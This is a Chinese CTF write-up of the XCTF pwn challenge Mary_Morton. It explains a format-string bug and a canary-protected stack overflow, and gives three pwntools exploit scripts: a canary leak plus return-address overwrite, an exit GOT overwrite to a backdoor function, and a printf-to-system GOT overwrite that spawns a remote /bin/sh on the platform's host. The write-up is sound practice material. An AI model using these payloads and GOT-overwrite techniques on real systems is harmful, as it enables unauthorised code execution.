目录标题

  • 1、查看程序基本信息
  • 2、反编译程序
  • 3、攻击思路
    • (1)先利用功能2格式化字符串漏洞
    • (2)找到功能1的sub_400960()函数返回地址的位置
  • 方法二

1、查看程序基本信息

Mary_Morton程序,先用file查看:

Linux下64位的ELF文件
再用checksec查看

程序开启了Partial RELRO、NX和Canary,没有PIE。程序开启了canary,就不能直接利用栈溢出覆盖返回地址了。因为在初始化一个栈帧时在栈底(stack overflow发生的高位区域的尾部)设置一个随机的 canary 值,函数返回之时检测canary的值是否经过了改变。
运行程序:

功能1是栈溢出漏洞,功能2是格式化字符串漏洞,功能3是退出

2、反编译程序

我们再用IDA64打开,找到main函数:
main函数伪代码:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{int v3; // [rsp+24h] [rbp-Ch] BYREFunsigned __int64 v4; // [rsp+28h] [rbp-8h]v4 = __readfsqword(0x28u);sub_4009FF();puts("Welcome to the battle ! ");puts("[Great Fairy] level pwned ");puts("Select your weapon ");while ( 1 ){while ( 1 ){sub_4009DA();__isoc99_scanf("%d", &v3);if ( v3 != 2 )break;sub_4008EB();}if ( v3 == 3 ){puts("Bye ");exit(0);}if ( v3 == 1 )sub_400960();elseputs("Wrong!");}
}

main函数程序逻辑:根据输入的数字,功能2是调用sub_4008EB()函数,功能3是输出“Bye”后exit(0),功能1是sub_400960()函数。
功能2,sub_4008EB()函数伪代码:

unsigned __int64 sub_4008EB()
{char buf[136]; // [rsp+0h] [rbp-90h] BYREFunsigned __int64 v2; // [rsp+88h] [rbp-8h]v2 = __readfsqword(0x28u); //从位置 FS:[0x28u]读取双字的内容memset(buf, 0, 0x80uLL);                      read(0, buf, 0x7FuLL);printf(buf);return __readfsqword(0x28u) ^ v2;
}

sub_4008EB()函数程序逻辑:把输入的字符串复制127(0x7F)字节到buf数组中,之后printf(buf)输出buf数组中的内容,这里存在格式化字符串漏洞。
另外:v2 = __readfsqword(0x28u)就是canary的值,return __readfsqword(0x28u) ^ v2就是判断canary的值有没有被更改,被更改了异或的结果就会返回0,如下图所示:

返回0的时候就会调用___stack_chk_fail,停止程序运行。
功能1,sub_400960()函数伪代码:

unsigned __int64 sub_400960()
{char buf[136]; // [rsp+0h] [rbp-90h] BYREFunsigned __int64 v2; // [rsp+88h] [rbp-8h]v2 = __readfsqword(0x28u);memset(buf, 0, 0x80uLL);read(0, buf, 0x100uLL);printf("-> %s\n", buf);return __readfsqword(0x28u) ^ v2;
}

sub_400960()函数程序逻辑:把输入的字符串复制256(0x100)字节到buf数组中,这里存在一个缓冲区溢出漏洞,之后以字符串格式输出buf数组中的内容。
且上面的canary的值和功能2的值相同。

3、攻击思路

攻击思路:所以我们在这里需要利用格式化字符串和缓冲区溢出两个漏洞,先通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖。
在程序中有一个函数sub_4008DA,它就是负责调用system执行/bin/cat ./flag查看flag

所以我们的最终目的就是执行sub_4008DA函数。

(1)先利用功能2格式化字符串漏洞

首先确定格式化字符串和buf数组存储位置的距离,输入字符:
AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.

可以看到输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数的位置
在前面的代码中我们知道canary([rsp+88h] [rbp-8h])与buf数组([rsp+0h] [rbp-90h])的距离为0x88(136),然后八个字节为一组,136 / 8 = 17
那么canary和我们输入的字符串参数的距离就是17 + 6 = 23,也就是我们输出第23个参数就是canary
例如,我们打印出输入的字符AAAA对应的ASCII码存储在格式化字符串的第6个参数:
AAAA%6$p

同样地,我们可以打印出canary的值
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
%23$p

可以看到输出23个%p的地址和直接输入第23个地址的值都是相同的canary值0x3e0a3eb3cb718a00

(2)找到功能1的sub_400960()函数返回地址的位置

之后我们要找到功能1的sub_400960()函数返回地址的位置,把它改为调用system输出flag的函数sub_4008DA的地址00000000004008DA。
我们先看一下功能2中sub_4008EB()函数的返回地址

返回地址的值是00000000004008B8,所在的位置是canary后面两个位置,相对于输入的字符串参数开始的位置就是第23+2=25个参数,距离(25-1)*8=192个字节

所以同样地,功能1的sub_400960()函数返回地址的位置就是00000000004008AC:

所以我们用pwntools漏洞利用开发库编写python代码来利用漏洞:

from pwn import *#运行本地的程序
connect=process('./Mary_Morton')
#建立一个到题目端口的远程连接
connect=remote('111.200.241.244',65145)
#接受消息直到收到输出3. Exit the battle的正则表达式
connect.recvuntil('3. Exit the battle')
#之后发送一行数据相当于在末尾加\n,字符'2'选择功能2
connect.sendline('2')
#发送字符'%23$p',让程序输出canary的值
connect.sendline('%23$p')
#接受到消息中'0x'的正则表达式
connect.recvuntil('0x')
#接收16个字节的数据,再转换成16进制
canary=int(connect.recv(16),16)
print(hex(canary))
#直到接收到到返回的字符串中包含'3. Exit the battle'
connect.recvuntil('3. Exit the battle')
#接着发送字符串'1'选择功能1
connect.sendline('1')#执行system输出flag的函数地址
flag_addr=0x4008DA
#攻击前22个地址都是填充数据,第23个是canary的值,之后继续一个地址8字节的填充数据,最后是system函数地址
payload='AAAAAAAA'*22+str(p64(canary))+'AAAAAAAA'+str(p64(flag_addr))
# 发送攻击
connect.sendline(payload)
# 进入交互模式
connect.interactive()

但是程序运行之后,依旧无法获得flag,查看内存,发现是64位操作系统的内存地址对齐的问题,函数地址写入之后需要和内存地址对齐不然程序就会崩溃。
同理,我们也找到了另外的两种修改函数地址的攻击思路:

方法二

2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址。

# coding=utf-8
#!/usr/bin/env python
#2.直接利用格式化字符串漏洞把exit的got表改成后门函数地址from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=process('./Mary_Morton')
#connect=remote('111.200.241.244',61195)
#获得elf文件got表的exit函数地址
exit_got = elf.got['exit']
sys_addr = 0x4008DA
connect.sendline('2')
#print(exit_got:sys_addr)
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{exit_got:sys_addr})
print(payload)
connect.sendline(payload)
connect.recvuntil('battle \n')
connect.sendline('3')
connect.recv()
connect.interactive()

运行结果:

成功执行system(‘/bin/cat ./flag’)输出flag。
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
方法三
3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 ‘/bin/sh’。

# coding=utf-8
#!/usr/bin/env python
# 3.把printf的got改成system_plt,再次进入格式化字符串漏洞函数输入 '/bin/sh'from pwn import *
context.log_level='debug'
context.arch="amd64"
elf = ELF('./Mary_Morton')
connect=remote('111.200.241.244',61195)
#connect=process('./Mary_Morton')
#获得elf文件got表的printf函数地址
printf_got = elf.got['printf']
sys_plt = 0x04006A0
connect.sendline('2')
#生成格式化字符串漏洞利用脚本
payload = fmtstr_payload(6,{printf_got:sys_plt})
connect.sendline(payload)
connect.recvuntil('battle \n')
connect.sendline('2')
#发送参数'/bin/sh',这样执行system('/bin/sh')就会获得权限
connect.sendline('/bin/sh')
connect.recv()
connect.interactive()

运行结果:

成功获得远程命令执行权限,查看当前目录下的flag文件
得到flag:cyberpeace{09c3e90737a3aac3ef57fcd83c8cc778}
注意每个端口对应flag文件不同,我这个是端口61195下的flag。

XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)相关推荐

  1. XCTF-攻防世界CTF平台-Web类——14、supersqli(SQL注入、关键词过滤)

    目录标题 方法一.堆叠注入 1.rename修改表名和alter change修改列名 2.rename修改表名和alter add添加列名 方法二.handler语句 方法三.预编译 打开题目地址 ...

  2. XCTF-攻防世界CTF平台-Web类——9、PHP2(.phps文件、url编码)

    先查看题目地址: 希望我们获得这个网站的权限,查看源代码也没有其他信息: 查看index页面: 之后尝试查看index.phps文件(.phps文件就是php的源代码文件,通常用于提供给访问者查看ph ...

  3. xctf攻防世界pwn基础题解(新手食用)

    文章目录 CGFsb 关于评论区的问题 when_did_you_born 脚本 备注: cgpwn2 目的: 溢出点: 构造shell: exp: strings Level3 status: up ...

  4. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  5. XCTF攻防世界 Normal_RSA

    XCTF攻防世界 Normal_RSA 实验环境: windows 10 实验所需工具: python工具: yafu (可以在https://github.com/DarkenCode/yafu上下 ...

  6. XCTF攻防世界Web新手入门题大全

    XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...

  7. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  8. XCTF攻防世界练习区-web题(新手)

    XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...

  9. XCTF(攻防世界)—进阶web题Write Up(二)

    前言:继续总结学到的新知识 mfw 在about页面发现,搭建网站时用了git,尝试一下是否为git源码泄露 输入: http://111.198.29.45:36544/.git/ 果然是源码泄露, ...

最新文章

  1. java和C++的const 和 final 的区别
  2. CABasicAnimation 动画组合
  3. HDU ACM 1162 Eddy's picture
  4. C语言学习笔记--动态库和静态库的使用
  5. 【JUC并发编程11】线程池
  6. pjsip php,VoIP应用在Ubuntu 14.04下编译FFmpeg libX264及PJSIP
  7. android 获取和设置屏幕亮度
  8. python画柱状图-Python:Matplotlib 画曲线和柱状图(Code)
  9. CentOS增加用户到sudo用户组
  10. java获取jsp页面下拉列表框_jQuery+jsp下拉框联动获取本地数据的方法(附源码)
  11. 190307每日一句
  12. 2021年MathorCup数学建模A题自动驾驶中的车辆调头问题全过程解题论文及程序
  13. 计算机原理实验交通灯自动控制系统设计,微机原理交通灯控制系统设计实验..doc...
  14. 日志查看工具 logviewer pro的使用
  15. 台式计算机的安规测试要求,美国EPA发布能源之星计算机规范V8.0版
  16. 域控服务器里没有internet时间,server2008r2域控时间设置internet时间同步的方法
  17. 史上最全Java开发手册!!!阿里出版
  18. 搭建DVWA出现错误:DVWA System error - config file not found.
  19. 怎么确保数据在网络传输的安全性?
  20. html怎么让一行文字有滚动的效果,网页HTML代码:滚动文字的制作

热门文章

  1. 一维消消乐c语言数据结构,Python数据结构--一维开心消消乐
  2. 使用微信小程序云开发实现类似朋友圈效果
  3. imovie for Mac(高级视频剪辑软件)
  4. linux redhat版本
  5. 如何把U盘设置为电脑锁
  6. JumpServer堡垒机
  7. 适合的运动蓝牙耳机,运动蓝牙耳机之推荐
  8. 打开Nexus 6的LED,并添加双击亮屏
  9. 保持微型计算机运行必不可少,保持微型计算机正常运行必不可少的输入输出设备...
  10. 解决方法:操作无法完成。键入的打印机名不正确,或者指定的打印机没有连接到服务器上。...